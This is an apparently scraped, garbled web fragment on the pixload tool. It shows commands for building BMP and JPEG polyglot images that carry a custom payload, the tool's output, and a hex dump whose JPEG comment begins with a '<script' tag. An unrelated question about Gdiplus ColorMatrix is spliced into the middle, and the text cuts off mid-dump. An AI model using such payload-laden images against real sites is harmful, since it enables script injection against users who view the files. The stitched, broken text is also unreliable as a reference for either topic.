. Usebmp.pl to create BMP Polyglot image with custom/default payload, or inject payload into existing image: $ ./bmp.pl [-payload 'STRING'] -output payload.bmp If the output file exists, then the payload will be injected into the existing file. I have tried to use Gdiplus::ImageAttributes and Gdiplus::ColorMatrix but whatever values I put in the matrix it makes my png file disappear completely. ./jpg.pl -output payload.jpg[>| JPEG Payload Creator/Injector |<] https://github.com/chinarulezzz/pixload [>] Generating output file[✔] File saved to: payload.jpg[>] Injecting payload into comment tag[✔] Payload was injected successfullypayload.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96×96, segment length 16, comment: “”, baseline, precision 8, 32×32, components 300000000 ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 |……JFIF…..|00000010 00 60 00 00 ff fe 00 21 3c 73 63 72 69 70 74 20 |.`…..!